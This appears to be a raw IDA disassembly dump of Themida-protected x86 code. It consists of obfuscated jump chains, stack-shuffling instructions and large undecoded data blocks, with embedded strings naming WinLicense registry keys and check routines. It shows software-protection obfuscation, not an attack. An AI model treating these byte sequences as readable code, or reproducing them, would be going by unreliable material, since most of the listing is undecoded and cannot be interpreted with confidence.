mov ebp, [esp]
add esp, 4
push ecx
push edx
mov edx, 39E70A6h
xor [esp+4], edx
pop edx
pop ebp
jmp loc_557FED
; ---------------------------------------------------------------------------
dw 0C381h
dd 0FFFFFFFFh, 0C077EB81h, 83E9D997h, 87FFFF8Ah, 0C15A241Ch
dd 0EA8107EAh, 64A740Dh, 1EA81h, 0F2810000h, 49384CB0h
dd 53E95356h, 66FFFF99h, 5324048Bh, 241C8B54h, 8104C483h
dd 4C3h, 0ABE95700h
db 6Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562393: ; CODE XREF: Themida_:00558FFAj
mov ah, 5Ch
or bl, ah
jmp loc_55E460
; ---------------------------------------------------------------------------
dd 405E089h, 83000000h, 48704C0h, 0A2EAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5623AE: ; CODE XREF: Themida_:0055A49Cj
pop esp
sub esp, 4
mov [esp], edi
jmp loc_56096B
; ---------------------------------------------------------------------------
loc_5623BA: ; CODE XREF: Themida_:00560D27j
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_55677B
; ---------------------------------------------------------------------------
db 89h
dd 0E9552414h, 0FFFF260Dh, 83241C8Bh, 0F90904C4h, 0E9E9815Fh
dd 816FDFFFh, 0C03BBCEFh, 84B95160h, 50160E29h, 0FEFA50E9h
dd 4C083FFh, 5C240487h, 0FF1BF9E9h, 5EC581FFh, 0E927605Fh
dd 0FFFF6FF5h, 79F38166h, 0DE21664Ah, 0F2AEE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56242A: ; CODE XREF: Themida_:0055FB29j
mov ecx, esp
add ecx, 4
jmp loc_552CE2
; ---------------------------------------------------------------------------
aN1Siuhhb db '1ØS‰ãhHb',0
align 2
dw 489h
dd 4B824h, 0C3010000h, 8324048Bh, 0B85004C4h, 4, 8758C329h
dd 0AEE9241Ch
db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562463: ; CODE XREF: Themida_:0054F6FBj
inc edi
or edi, 1117188Bh
xor edi, 77BF598Bh
add esi, edi
mov edi, [esp]
add esp, 4
push 0FD6h
mov [esp], ecx
push esi
mov esi, 770717D2h
xor esi, 770717D6h
jmp loc_55154E
; ---------------------------------------------------------------------------
loc_562491: ; CODE XREF: Themida_:0055713Bj
pop eax
jmp loc_558B7D
; ---------------------------------------------------------------------------
db 53h
dd 1DE9E389h
db 25h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56249F: ; CODE XREF: Themida_:00562647j
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_560C3E
; ---------------------------------------------------------------------------
dw 8B66h
dd 1768240Ch, 8900005Ah, 0FCE9241Ch
db 0E2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5624CF: ; CODE XREF: Themida_:00558812j
add esp, 4
sub esp, 4
mov [esp], esi
push esp
pop esi
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_55F7E2
; ---------------------------------------------------------------------------
db 0BDh
dd 0A240C17h, 0FF5DE929h, 3C8B2434h, 4C48124h, 50000000h
dd 0DDE9E089h
db 1, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562513: ; CODE XREF: Themida_:00558BF5j
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_558C04
; ---------------------------------------------------------------------------
dw 0E950h
dd 0FFFF9266h
; ---------------------------------------------------------------------------
loc_562528: ; CODE XREF: Themida_:0055E812j
xor [esp], eax
jmp loc_55D973
; ---------------------------------------------------------------------------
dd 4BA525Dh, 1000000h, 7BD2E9D6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56253E: ; CODE XREF: Themida_:00556587j
push esp
pop edi
push eax
push ebp
push edx
sub esp, 4
mov [esp], esi
push 67C85F0Ah
pop esi
sub esi, 79447E0Eh
push edx
jmp loc_56264C
; ---------------------------------------------------------------------------
db 57h
dd 4BFh, 0E9FE0100h, 0FFFF4FEEh, 9D1C77FFh, 1CD25966h
dd 4EE99C24h, 87FFFEB8h, 895C243Ch, 0DDE9242Ch, 8BFFFF78h
dd 0FF662424h, 0E99C240Ch, 0FFFEB835h, 0F02B59BDh, 5DEA095Ah
dd 0FFFFEA81h, 0C281FFFFh, 0B32120BBh, 815AD701h, 4ECh
dd 240C8900h, 0C181E189h, 4, 4E981h, 0C870000h, 4B0BE924h
dd 4BDFFFFh, 57000000h, 3714C9BFh, 0CE98152h, 290D4628h
dd 0CC181F9h, 5F0D4628h, 0C181E901h, 523714C9h, 10EE9h
db 0
; ---------------------------------------------------------------------------
loc_5625ED: ; CODE XREF: Themida_:005574A5j
pop edi
jmp loc_55E8FD
; ---------------------------------------------------------------------------
db 83h
dd 1E904C4h, 31FFFF4Fh, 242C8BEAh, 0FFF809E9h, 4BA52FFh
dd 81000000h, 351A1DC6h, 10B4E908h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562616: ; CODE XREF: Themida_:0055C7F2j
sub esp, 4
mov [esp], edi
mov edi, 38E24703h
and edi, 3EBB750Eh
jmp loc_555694
; ---------------------------------------------------------------------------
db 50h
dd 5C0831B8h, 835BE5Dh, 0C6315D5Ch, 0E9F70158h, 0FFFFF915h
; ---------------------------------------------------------------------------
loc_562644: ; CODE XREF: Themida_:0055F19Cj
add ebx, edi
pop edi
jmp loc_56249F
; ---------------------------------------------------------------------------
loc_56264C: ; CODE XREF: Themida_:00562556j
mov edx, 0B40252Fh
jmp loc_556599
; ---------------------------------------------------------------------------
dw 0FF57h
dd 5F042474h, 0FF1BC6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562661: ; CODE XREF: Themida_:00552ED4j
pop esp
jmp loc_559F51
; ---------------------------------------------------------------------------
db 81h
dd 4C7h, 10B95100h, 81500635h, 5204B0C9h, 46E18168h, 835E0E3Eh
dd 0D1F701C1h, 0FF200BE9h, 0E9E789FFh, 0FFFFD1C8h, 5E04E954h
dd 5D54FFFFh, 4C581h, 0EC830000h, 241C8904h, 4BBh, 5BDD0100h
dd 5C242C87h, 0FEC96CE9h, 4F000FFh, 5AE904D8h, 78B55166h
dd 0E828B904h, 5966B92Ch, 0FF8AD6E9h, 6D4925FFh, 0A2D104Bh
dd 2D731776h, 1, 0A4A72D40h, 0C6895EA1h, 8124048Bh, 4C4h
dd 0FFC68300h, 0F755EE87h, 1BE92414h, 8BFFFF7Ah, 4AE9242Ch
dd 57FFFFB1h, 0C781E789h, 4, 26CBD55h, 0D5F7390Bh, 0CD81DDF7h
dd 46AD3860h, 5CE9DDF7h
db 36h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562723: ; CODE XREF: Themida_:0055B3D5j
or esi, 21FD42BBh
push ecx
mov ecx, 0FCD1D38h
not ecx
jmp loc_5501D0
; ---------------------------------------------------------------------------
dw 1968h
dd 89000036h, 0BD552414h, 4, 295DEA89h, 0FF535AD3h, 8B042474h
dd 0C483241Ch, 24048F04h, 240C895Ch, 14E8BF57h, 0D0E90D2Fh
dd 5FFFFF38h, 516B68h, 24348900h, 42474FFh, 6824348Bh
dd 2F72h, 89243489h, 4C681E6h, 0E9000000h, 0FFFF2E26h
dd 8B2434FFh, 0E9562404h, 0FFFFA4E6h, 68242C89h, 2, 0FFC6E9E9h
dd 4C483FFh, 0FFBC8AE9h, 0D1EF81FFh, 2958D019h, 38B4E9CFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5627BA: ; CODE XREF: Themida_:00551883j
mov ecx, 4
jmp loc_558C83
; ---------------------------------------------------------------------------
dd 0C281EA29h, 5345351h, 0FF2E7BE9h, 24348BFFh, 0FF486BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5627D9: ; CODE XREF: Themida_:0055EAFEj
xor dword ptr [esp], 22FB357Dh
pop ecx
xor ecx, 22FB357Dh
push dword ptr [esp]
pop edx
add esp, 4
xor ecx, ebp
jmp loc_558C1F
; ---------------------------------------------------------------------------
loc_5627F8: ; CODE XREF: Themida_:0055A551j
and eax, 509251EDh
jmp loc_5612E6
; ---------------------------------------------------------------------------
loc_562802: ; CODE XREF: Themida_:00553A23j
add ebp, 4
xchg ebp, [esp]
jmp loc_5520E3
; ---------------------------------------------------------------------------
db 4Ah, 81h, 0F2h
dd 3FFFFBh, 148BD001h, 0E7895724h, 0FF179CE9h, 57E189FFh
dd 4BFh, 0E9F90100h, 0FFFF2B8Fh, 0EF80CF00h, 0F988596Eh
dd 1BA2685Bh, 0F2E90000h, 83FFFFD5h, 3A6804C4h, 8900005Ch
dd 4B9240Ch, 81000000h, 0A8703DEFh, 51CF0141h, 1E73EAB9h
dd 82C18104h, 496E721Dh, 0FF8A08E9h, 515052FFh, 0EDC0AFB5h
dd 0B0506602h, 66C52039h, 0FF5BE958h, 2C89FFFEh, 0EFC9E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56288A: ; CODE XREF: Themida_:0056153Ej
neg eax
inc eax
inc eax
sub esp, 4
jmp loc_55DA7F
; ---------------------------------------------------------------------------
loc_562896: ; CODE XREF: Themida_:0055181Fj
pop esi
sub edx, 4
jmp loc_55C9F4
; ---------------------------------------------------------------------------
db 81h
dd 1247E1EFh, 0C7815E29h, 0F393D72Eh, 34FFF801h, 0C4835F24h
dd 0A3FDE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5628BA: ; CODE XREF: Themida_:0055F523j
mov [esp], cx
jmp loc_54DDC5
; ---------------------------------------------------------------------------
db 8Bh
dd 0DEE9241Ch, 0BEFFFFDCh, 35335009h, 6BBFBD55h, 0EE015FC6h
dd 0CBEE815Dh, 297CFB95h, 0C3815EF3h, 7D7066CBh, 0FFE9C329h
dd 56FFFF16h, 0FECF54E9h, 0EF815AFFh, 60EFFEEBh, 0FCB2E953h
dd 0E981FFFEh, 5E695E02h, 0FEEB90E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56290D: ; CODE XREF: Themida_:0055E271j
push ebx
mov ebx, 4
sub ebp, 55F94CF4h
add ebp, ebx
add ebp, 55F94CF4h
pop ebx
sub ebp, 4
jmp loc_555CEB
; ---------------------------------------------------------------------------
loc_56292A: ; CODE XREF: Themida_:00561302j
mov [esp], ecx
jmp loc_557CD1
; ---------------------------------------------------------------------------
loc_562932: ; CODE XREF: Themida_:00555F9Aj
push ecx
jmp loc_54EC9A
; ---------------------------------------------------------------------------
dd 0E588D488h, 88525058h, 8BD488EAh, 9AE92414h, 0EBFFFF2Ch
dd 45535536h, 2E323352h, 6C6C64h, 41564441h, 32334950h
dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch, 2000807h
dd 0F000700h, 24001900h, 1C026000h, 0E9783660h, 825h, 4A959F68h
dd 0E99FE906h, 1068FFFDh, 0E9064A96h, 0FFFDE995h, 4A971168h
dd 0E98BE906h, 3F68FFFDh, 0E9064A98h, 0FFFDE981h, 4A98D168h
dd 0E977E906h, 0D068FFFDh, 0E9064A99h, 0FFFDE96Dh, 4A9A2D68h
dd 0E963E906h, 0ED94FFFDh, 981A7612h, 1CA3FF9Dh, 8F376301h
dd 3EBAD6B2h, 5D3A593Bh, 0B8D8D965h, 2D4F5AECh, 97F5F471h
dd 1F7D78FBh, 1B5D3144h, 0A97C6EC8h, 0B808C17h, 0B6FB74BDh
dd 0ACA03685h, 35D7E004h, 5481CCA2h, 0DAA57C6Ch, 6CCDA03Eh
dd 0FAC55646h, 80E9C550h, 95BFE42h, 58C8CD77h, 7A76DCDBh
dd 37004C3Dh, 0A2AC0295h, 4656467Ah, 9112AE39h, 696E2A84h
dd 0EE7D55B6h, 0DFD00A50h, 86076010h, 0E05AEFAh, 11FD64BFh
dd 3DAD6233h, 6AAh, 0E4849B1Ah, 6D0F0AA8h, 0D1B3AE31h
dd 44243DC5h, 0CFADAC48h, 4BF7CFA4h, 0E87E2A76h, 66039FFDh
dd 0EE950163h, 0C3DA89EBh, 6EC7ADEBh, 0E2A53B7Ch, 8AFBFE85h
dd 0C453F9C2h, 6EC73AEAh, 35B14B7Ch, 90264734h, 7C1087E0h
dd 0EF8CFDF4h, 0A537CE47h, 7E00EC19h, 26E1A634h, 0E48111B9h
dd 6E0B87E5h, 0E58E1A6Bh, 0FF6A5FEEh, 0D34C0C59h, 63923h
dd 15EC9500h, 9C991B77h, 1FA0FCh, 0B58C3460h, 3A3FBBD7h
dd 645C355Eh, 0EFBBD9D8h, 702C4C59h, 0FA96F2F5h, 451E7A79h
dd 0C91C5C32h, 16A87C6Eh, 0FBFE858Dh, 0DF61FB8Ah, 0D5524FD1h
dd 0D4A5A047h, 10937FD7h, 0F36F6415h, 12E3180Ch, 3939DDE1h
dd 62000000h, 99FBFE85h, 32FD47FAh, 882B7624h, 0B48FEF8Dh
dd 0EB2F7F16h, 107C6CA4h, 1BBEDD9Bh, 0FDB6F236h, 8960662h
dd 4672D865h, 9712AE39h, 19A4F090h, 0AFF96906h, 5E000005h
dd 8AFBFE85h, 0A240F9C2h, 28A9D6A7h, 61D0E1BDh, 67F97C6Ch
dd 0B255C7DAh, 71D9A6D7h, 4E09D241h, 0BCAB92Fh, 31B2EE8Ah
dd 3D065632h, 0DF71089Fh, 0A1A04D53h, 23CC8A20h, 0C782B794h
dd 7B0815ABh, 104AE3Ah, 0FE7B1580h, 740899FBh, 0C880DECFh
dd 1476268Bh, 1C9DEA6Bh, 585FDAB6h, 0E9C55C2Bh, 76268BAFh
dd 3CDC723Dh, 0C20DB0B7h, 8412A25Bh, 5389B0Bh, 0ED940000h
dd 981A7612h, 1CA3FF9Dh, 8F376301h, 3EBAD6B2h, 5D3A593Bh
dd 0B8D8D965h, 2D4F5AECh, 97F5F471h, 1F7D78FBh, 1B5D3144h
dd 0A97C6ECAh, 0FE858C17h, 75FE8AFBh, 8D08017Eh, 0E6FEA14h
dd 72EE38DEh, 0E283F0F7h, 45AD124Ch, 762493E9h, 507AA0CCh
dd 0FEA2DDE1h, 0F9FFFFFEh, 6CFBFE85h, 0E40DF237h, 24BCCE8Ah
dd 0E89D1A76h, 20B6F536h, 58023D93h, 0FD78F1CDh, 0ADC47C6Ch
dd 6CB697D1h, 0AA49257Ch, 50D1DEAFh, 0DED9B1D3h, 0FC8D982Fh
dd 0D7A73EBFh, 82B4E772h, 233EC15Bh, 0F380EF8Bh, 24E72263h
dd 0C5AD5676h, 0C8B92623h, 0A83827B8h, 237B0817h, 0B05D9249h
dd 0B46F5906h, 6EDDE1A6h, 19Bh, 9ADEB047h, 267624EEh, 0D9D6F159h
dd 0B8625D79h, 1E13932Dh, 0EBAA0061h, 6C42CA93h, 73911E7Ch
dd 9AF48B22h, 7C6C41DEh, 9BDD8DEAh, 297C6C41h, 93EAE84Eh
dd 0B56465Eh, 0A3FB6A30h, 5BFE54B6h, 58344522h, 932ABD5Fh
dd 4FE6A2FCh, 0B5F24FFEh, 88AFBF1Dh, 3E795646h, 6B6E15A7h
dd 13169D09h, 129059ACh, 2B06F33h, 40Ah, 44243BBAh, 0CDAFAA48h
dd 31534ED1h, 0A4C4DD65h, 2F4D4CE8h, 0EB97AF04h, 881E8A16h
dd 6A3FF9Dh, 8E356103h, 637AE98Bh, 6ECB4D0Bh, 42C59B7Ch
dd 0AB57E980h, 8AD8D9D6h, 762432CEh, 74FB401Dh, 9BE9EED7h
dd 0FE8EBAE8h, 0FF7C416Ch, 3BE1FD8Ah, 349AB74Ah, 2AE5F58h
dd 0B0317E0Fh, 0A8B34925h, 25717C6Fh, 0B6F7849Dh, 62E756FDh
dd 44C52203h, 0ACB23FD1h, 3A3EF904h, 62E2627Ah, 880464E5h
dd 0F9DEAEDh, 0CDDE6164h, 0EB0C59FFh, 3788634h, 0AD540000h
dd 58DAB6D2h, 0DC633F5Dh, 4FF7A3C1h, 0FE7A1672h, 1D7A99FBh
dd 0F8989925h, 6D0F1AACh, 0D7B5B431h, 5F3D38BBh, 0DB9DF184h
dd 0E97C6ECAh, 0FE85CC57h, 95225F0Fh, 0B838FF99h, 2AABC8B9h
dd 27CCDCADh, 401EB520h, 7624CB08h, 0EBDEABD4h, 0A50F09EEh
dd 557A79D1h, 623C2299h, 55762527h, 9D852EC2h, 16E1F0Ah
dd 68922A80h, 0B0DDE1FCh, 0FFFFFD25h, 0FBFE85EBh, 2337376Ch
dd 937C517Dh, 0E7D0BC3Bh, 15DCB225h, 0B47C6C81h, 0E98B8718h
dd 0A6F86FECh, 7C6C60E2h, 892981EEh, 0D9E182EEh, 0A5675074h
dd 28E69B32h, 0E3254C1Ch, 0FC410FA7h, 287C6CF7h, 6D41D84Fh
dd 7C6CED2Bh, 0C858FEB9h, 845F701Eh, 0F19BA424h, 0B210866h
dd 0F3A82ACCh, 3373A245h, 8027B5E5h, 0E28D2D85h, 5A003B95h
dd 1C9834CBh, 1727B51Dh, 0D124841Eh, 6AD3FD6h, 8E356103h
dd 29AD348Bh, 0E49B6445h, 27976h, 0D5AC5500h, 5C59DBB7h
dd 0C0DF603Ch, 754CF4A0h, 0FAFF7B17h, 241C759Eh, 0AFFB9998h
dd 306C0C19h, 0BAD6B2B5h, 855E3A39h, 0CBDC9CF2h, 56E87C6Eh
dd 0DC7EB9CDh, 0C7E17549h, 3ED27C6Eh, 982FBDA8h, 17BFFC8Dh
dd 0F7891C9Bh, 7915774Ah, 0FC8CFDFCh, 0CACD7077h, 0EC0C5A1Fh
dd 21C8333h, 9A80000h, 0B43E6A36h, 20C7D3B1h, 0AB4B4725h
dd 52DECAD6h, 41163D5Fh, 9CFCFD79h, 1637E00h, 8BE9E895h
dd 0F391941Fh, 37714D60h, 857C6ECDh, 0EC806023h, 713E4F5Ah
dd 78453C04h, 0B119D3C7h, 0AD38E2DDh, 6F8B45D1h, 8114937Ch
dd 234144EFh, 0EDC16D4Bh, 7C6E82ABh, 66F17E39h, 6E835A08h
dd 98E9967Ch, 59DA760Dh, 1E4C2D5Ah, 7C6E825Ah, 0E1B11966h
dd 78374445h, 0A3B53FD1h, 36770401h, 13BBF889h, 4FF5FB87h
dd 0CFAFCD4Ah, 0EAC453F1h, 7C6E82B6h, 4EE27532h, 0CEDAABA6h
dd 5D5A2B26h, 2B7976DCh, 0B1FC8D88h, 691941Fh, 82591F6Fh
dd 18677C6Eh, 0A7F16B2h, 2758CB1Ch, 8111B9DDh, 484FF4E2h
dd 0D2B2BACBh, 0FD27E456h, 0AFE47376h, 8384C570h, 0D4AB5626h
dd 0CB59C6A7h, 5D5A2B2Eh, 3AB9D5F5h, 0B6324E3Fh, 0C2BCC2B3h
dd 292CD71Dh, 21C65A4Bh, 600C8C22h, 38DC1061h, 975D02F8h
dd 787905EBh, 610D99FBh, 0E8841360h, 34E44A4Dh, 5EF9B689h
dd 79052F9Ch, 0D053ED78h, 0B468A0D5h, 3C70AC8Ch, 49B0A96h
dd 0BACBD668h, 59EBADFDh, 0BEF97C6Eh, 0FCFB7818h, 0C0BB3F8Fh
dd 42E534E1h, 0D95A3647h, 0C4F6ADDAh, 2BA7CE07h, 0BC12A974h
dd 345D72FCh, 8B07AFC8h, 0E37AEDE8h, 5D72CD8Bh, 369C1B34h
dd 7E75FEAAh, 0A8A955E7h, 7327613Dh, 0CAB5345Dh, 0B9455764h
dd 2AE0CBB8h, 104AF75h, 898C3763h, 0E1AB94F8h, 9BA11876h
dd 31C83AA5h, 959C1B5Dh, 68CEA92Eh, 6D4D2F48h, 861D8852h
dd 9BD99FEFh, 98E72E95h, 30A2A432h, 493634E0h, 5FFAA5DEh
dd 0A959173Eh, 9D267201h, 5AEFA86h, 0DCE1710Eh, 0B1B2DC6Eh
dd 0E1E48E22h, 80A81749h, 3871E4E3h, 0F7EABCCEh, 4161C963h
dd 3E31BC50h, 0E8A2041h, 83116E65h, 0E577EEE3h, 0AFAA485Eh
dd 0FA50D1DEh, 0A9435AFDh, 35A70F0Ah, 201A276h, 0F3681E93h
dd 0B9F6CB6Bh, 5C208FF8h, 227E0AA0h, 14159181h, 368E697h
dd 0EF000000h, 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh
dd 0F6720E7Fh, 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h
dd 68B9BFCCh, 7CB4h, 68240C89h, 201Bh
db 89h, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push ebx
mov ebx, 42F510BFh
mov eax, 0C3558452h
add eax, ebx
mov ebx, [esp]
add esp, 4
push 22EAh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push eax
push ebp
mov ebp, 2FD70692h
xor [esp+4], ebp
pop ebp
pop dword ptr [ebx+8]
xor dword ptr [ebx+8], 2FD70692h
push dword ptr [esp]
pop ebx
add esp, 4
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_541331
; ---------------------------------------------------------------------------
db 0DFh
dd 9C6EB8C4h, 0C503064Ah, 0FFAAE0FFh, 0DA2D719Bh, 45E55EB5h
dd 0FD35349Bh, 41F95B75h, 91151DC5h, 0B1E95CF8h, 0FBAF3B92h
dd 0D6307F25h, 0A46D56B9h, 0FC9C0240h, 11E86A66h, 1000000h
dd 994230BEh, 7271BFDFh, 69F25C7Dh, 80163E5Ch, 0ED47BA66h
dd 9870F58h, 0F000000h, 383h, 0D68B6600h, 6D1CC081h, 8D0F0000h
dd 2, 0FF33B1B1h, 0BE8h, 65BCD900h, 0E633B7FDh, 0B44DCC72h
dd 1C8B59F5h, 4800F38h, 66000000h, 81B5B7BAh, 82CFEEBh
dd 0C88B6613h, 0FA89EB81h, 0F3812452h, 6362D1E5h, 8E951h
dd 0CE360000h, 7310E141h, 895A67C6h, 6660381Ch, 8093AFBAh
dd 8361A8F5h, 0B70F04EFh, 78FF81F7h, 0FFFFF93h, 0FFFFB185h
dd 0E9F78BFFh, 73h, 5BD8360h, 6482Ah, 5840Fh, 5EE90000h
dd 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h, 3E800000h
dd 8850F33h, 6A000000h, 24E94610h, 80000000h, 850F343Eh
dd 8, 0E946306Ah, 13h, 0F353E80h, 885h, 46406A00h, 2E9h
dd 8D006A00h, 48009D85h, 4895006h, 34895024h, 0FF006A24h
dd 4815D595h, 0C6C36106h, 480FF985h, 51684D06h, 815B2481h
dd 0F5572404h, 0B5FF4910h, 6482F2Dh, 38BA858Dh, 0D0FF0648h
dd 15D58589h, 8E80648h, 5A000000h, 6574ACD0h, 0BCA2325h
dd 48121D9Dh, 0C2815A06h, 676Ah, 19BBBEh, 0A0EB8100h, 0FF3CFBE7h
dd 830F5832h, 6, 17158589h, 0C0810648h, 15480EB1h, 2F399D8Bh
dd 0F0810648h, 7D3DCC60h, 7880Fh, 66600000h, 0F5E775BBh
dd 20C08161h, 0E9356B79h, 5, 3B64696Ah, 66028911h, 9B1EC981h
dd 0F903EA83h, 9CB814Ah, 81344EFFh, 1EEh, 0A4850F00h, 29FFFFFFh
dd 48002D85h, 0AAE906h, 6F530000h, 61777466h, 575C6572h
dd 694C6E69h, 736E6563h, 68430065h, 496B6365h, 7058004Eh
dd 45746F72h, 746978h, 63656843h, 54554F6Bh, 6E695700h
dd 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h
dd 736E6563h, 69724465h, 56726576h, 69737265h, 57006E6Fh
dd 694C6E69h, 736E6563h, 736E4965h, 636E6174h, 78450065h
dd 6B4F7469h, 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h
dd 45004E49h, 4F746978h, 54005455h, 4E4970h, 3 dup(0)
dd 77DDAF7Fh, 77DD72F0h, 596E9h, 87858900h, 8D064A9Fh
dd 4A9F8385h, 858D5006h, 64A9EEDh, 16850h, 95FF8000h, 64A9F93h
dd 0B5FF196Ah, 64A9F87h, 6A016Ah, 9F1C858Dh, 0FF50064Ah
dd 4A9F83B5h, 6995FF06h, 0FF06482Eh, 4A9F83B5h, 8F95FF06h
dd 0FF064A9Fh, 4A9F83B5h, 2595FF06h, 0C3064832h, 9F878589h
dd 858D064Ah, 64A9F83h, 0ED858D50h, 50064A9Eh, 168h, 9395FF80h
dd 6A064A9Fh, 87858D04h, 50064A9Fh, 6A046Ah, 9F46858Dh
dd 0FF50064Ah, 4A9F83B5h, 6995FF06h, 0FF06482Eh, 4A9F83B5h
dd 8F95FF06h, 0FF064A9Fh, 4A9F83B5h, 2595FF06h, 0C3064832h
dd 9F878589h, 858D064Ah, 64A9F83h, 0ED858D50h, 50064A9Eh
dd 168h, 9395FF80h, 6A064A9Fh, 87858D04h, 50064A9Fh, 6A046Ah
dd 9F2E858Dh, 0FF50064Ah, 4A9F83B5h, 6995FF06h, 0FF06482Eh
dd 4A9F83B5h, 8F95FF06h, 0FF064A9Fh, 4A9F83B5h, 2595FF06h
dd 0C3064832h, 9F878589h, 858D064Ah, 64A9F83h, 0ED858D50h
dd 50064A9Eh, 168h, 9395FF80h, 6A064A9Fh, 87858D04h, 50064A9Fh
dd 6A046Ah, 9F59858Dh, 0FF50064Ah, 4A9F83B5h, 6995FF06h
dd 0FF06482Eh, 4A9F83B5h, 8F95FF06h, 0FF064A9Fh, 4A9F83B5h
dd 2595FF06h, 0C3064832h, 9F878589h, 858D064Ah, 64A9F83h
dd 0ED858D50h, 50064A9Eh, 168h, 9395FF80h, 6A064A9Fh, 87858D04h
dd 50064A9Fh, 6A046Ah, 9F09858Dh, 0FF50064Ah, 4A9F83B5h
dd 6995FF06h, 0FF06482Eh, 4A9F83B5h, 8F95FF06h, 0FF064A9Fh
dd 4A9F83B5h, 2595FF06h, 0C3064832h, 289DBD83h, 0F000648h
dd 0B84h, 9D9D8B00h, 83064828h, 3894CC3h, 9DBD83C3h, 64828h
dd 0B840Fh, 9D8B0000h, 648289Dh, 8950C383h, 0BD83C303h
dd 648289Dh, 0B840F00h, 8B000000h, 48289D9Dh, 54C38306h
dd 83C30389h, 48289DBDh, 840F0006h, 0Bh, 289D9D8Bh, 0C3830648h
dd 0C3038958h, 289DBD83h, 0F000648h, 0B84h, 9D9D8B00h
dd 83064828h, 3895CC3h, 8960C3C3h, 4A9F8785h, 83858D06h
dd 50064A9Fh, 9EED858Dh, 6850064Ah, 80000001h, 9F9395FFh
dd 46A064Ah, 9F87858Dh, 6A50064Ah, 8D006A04h, 4A9F7E85h
dd 0B5FF5006h, 64A9F83h, 2E6995FFh, 0BD830648h, 6481299h
dd 0C840F00h, 0FF000000h, 4A9F83B5h, 8F95FF06h, 0FF064A9Fh
dd 4A9F83B5h, 2595FF06h, 61064832h, 858960C3h, 64A9F87h
dd 9F83858Dh, 8D50064Ah, 4A9EED85h, 1685006h, 0FF800000h
dd 4A9F9395h, 8D046A06h, 4A9F8785h, 46A5006h, 858D006Ah
dd 64A9F60h, 83B5FF50h, 0FF064A9Fh, 482E6995h, 99BD8306h
dd 64812h, 0C840Fh, 0B5FF0000h, 64A9F83h, 9F8F95FFh, 0B5FF064Ah
dd 64A9F83h, 322595FFh, 0C3610648h, 87858960h, 8D064A9Fh
dd 4A9F8385h, 858D5006h, 64A9EEDh, 16850h, 95FF8000h, 64A9F93h
dd 858D046Ah, 64A9F87h, 6A046A50h, 67858D00h, 50064A9Fh
dd 9F83B5FFh, 95FF064Ah, 6482E69h, 1299BD83h, 0F000648h
dd 0C84h, 83B5FF00h, 0FF064A9Fh, 4A9F8F95h, 83B5FF06h
dd 0FF064A9Fh, 48322595h, 60C36106h, 9F878589h, 858D064Ah
dd 64A9F83h, 0ED858D50h, 50064A9Eh, 168h, 9395FF80h, 6A064A9Fh
dd 87858D04h, 50064A9Fh, 6A046Ah, 9F6F858Dh, 0FF50064Ah
dd 4A9F83B5h, 6995FF06h, 8306482Eh, 481299BDh, 840F0006h
dd 0Ch, 9F83B5FFh, 95FF064Ah, 64A9F8Fh, 9F83B5FFh, 95FF064Ah
dd 6483225h, 8960C361h, 4A9F8785h, 83858D06h, 50064A9Fh
dd 9EED858Dh, 6850064Ah, 80000001h, 9F9395FFh, 46A064Ah
dd 9F87858Dh, 6A50064Ah, 8D006A04h, 4A9F7685h, 0B5FF5006h
dd 64A9F83h, 2E6995FFh, 0BD830648h, 6481299h, 0C840F00h
dd 0FF000000h, 4A9F83B5h, 8F95FF06h, 0FF064A9Fh, 4A9F83B5h
dd 2595FF06h, 61064832h, 85C760C3h, 64A9F87h, 1, 9F83858Dh
dd 8D50064Ah, 4A9EED85h, 2685006h, 0FF800000h, 4A9F9395h
dd 0FC00B06h, 0F84h, 8785C700h, 64A9Fh, 0E9000000h, 4Dh
dd 858D046Ah, 64A9F87h, 6A046A50h, 1858D00h, 50064A9Fh
dd 9F83B5FFh, 95FF064Ah, 6482E69h, 840FC00Bh, 0Fh, 9F8785C7h
dd 64Ah, 0AE90000h, 0C7000000h, 4A9F8785h, 106h, 83B5FF00h
dd 0FF064A9Fh, 48322595h, 858B6106h, 64A9F87h, 858960C3h
dd 64A9F87h, 9F83858Dh, 8D50064Ah, 4A9EED85h, 1685006h
dd 0FF800000h, 4A9F9395h, 8D046A06h, 4A9F8785h, 46A5006h
dd 858D006Ah, 64A9F01h, 83B5FF50h, 0FF064A9Fh, 482E6995h
dd 99BD8306h, 64812h, 0C840Fh, 0B5FF0000h, 64A9F83h, 9F8F95FFh
dd 0B5FF064Ah, 64A9F83h, 322595FFh, 0C3610648h, 87858960h
